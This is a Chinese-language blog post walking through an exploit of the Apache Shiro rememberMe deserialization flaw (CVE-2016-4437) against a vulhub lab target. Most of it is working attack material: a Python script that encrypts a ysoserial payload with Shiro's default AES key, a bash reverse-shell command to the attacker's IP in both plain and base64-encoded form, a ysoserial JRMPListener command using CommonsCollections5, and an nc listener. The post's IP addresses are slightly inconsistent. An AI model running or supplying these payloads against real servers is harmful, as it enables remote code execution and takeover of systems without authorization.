shiro java 反序列漏洞复现

visionzheng 2020-06-07

shiro java 反序列漏洞复现

打开虚拟机启动靶场/vulhub-master/shiro/CVE-2016-4437环境(省略)
推荐网址:https://www.cnblogs.com/bmjoker/articles/11650295.html

首先判断是否存在shiro反序列化漏洞:

  1. 访问虚拟机靶场环境,端口8080

shiro java 反序列漏洞复现

  1. 打开bp,抓取登录包重放

    shiro java 反序列漏洞复现

  2. 返回值中能在set-cookie很明显看到rememberme=deleteme 这个的字段,那么很有可能存在shiro漏洞

    shiro java 反序列漏洞复现

  3. 验证,使用bp的collabotator模块给你一个检验域名

    shiro java 反序列漏洞复现

    shiro java 反序列漏洞复现

  4. 运行shiro.py根据域名生成payload,后面的网址就是上一步生成的域名,前面自己加上http://头。生成payload。

    python2 shiro.py "http://onf9lyddyqqo3qo20rdfbetrciic61.burpcollaborator.net"

    shiro java 反序列漏洞复现

  5. 复制payload,重放登录包,将payload添加在cookie值后面,记得和前面用分号隔开。

    shiro java 反序列漏洞复现

  6. 发送包,看返回值,很明显有两个cookie:rememberme

    shiro java 反序列漏洞复现

  7. 成功,查看bp的collaborator的模块的返回情况。确定是存在漏洞的。

    shiro java 反序列漏洞复现


漏洞复现:

靶机:192.168.73.131

攻击机IP:192.168.44.118

bash编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html

shiro_exp_payload.py:白嫖大哥的

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-master-SNAPSHOT.jar‘, ‘JRMPClient‘, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == ‘__main__‘:
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())
  1. 在http://www.jackson-t.ca/runtime-exec-payloads.html网站上将攻击语句进行编码,制作反弹shell的命令

    bash -i >& /dev/tcp/192.168.44.118/1069 0>&1

    shiro java 反序列漏洞复现

  2. 然后使用ysoseria中的jrmp监听模块,监听9999端口。并且执行反弹shell命令(将shell结果反弹给192.168.44.118/1069端口)

    java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjExNy8xMDY5DA+JjE=}|{base64,-d}|{bash,-i}"

    shiro java 反序列漏洞复现

    双引号括起来的就是第一步制作的反弹shell命令

  3. 在需要要反弹结果的机器上面监听1069端口(这里为了方便起见还是攻击机),等待反弹的结果(监听bash反弹shell的端口)

    nc -lvp 1069

    shiro java 反序列漏洞复现

  4. 使用python脚本(端口是攻击机监听的端口9999,也就是用这个端口发出攻击)

    python2 shiro_exp_payload.py 192.168.45.118:9999

    shiro java 反序列漏洞复现

  5. 把代码放入请求包中(还是cookie的地方),发送即可反弹shell

    shiro java 反序列漏洞复现

    shiro java 反序列漏洞复现

    shiro java 反序列漏洞复现

总结攻击思路:

  1. 首先通过shiro_exp_payload.py生成的payload访问攻击端口9999
  2. 端口9999攻击机通过CommonsCollections5执行系统命令反弹shell给需要反弹的机器(这里还是攻击机不过端口是1069)

相关推荐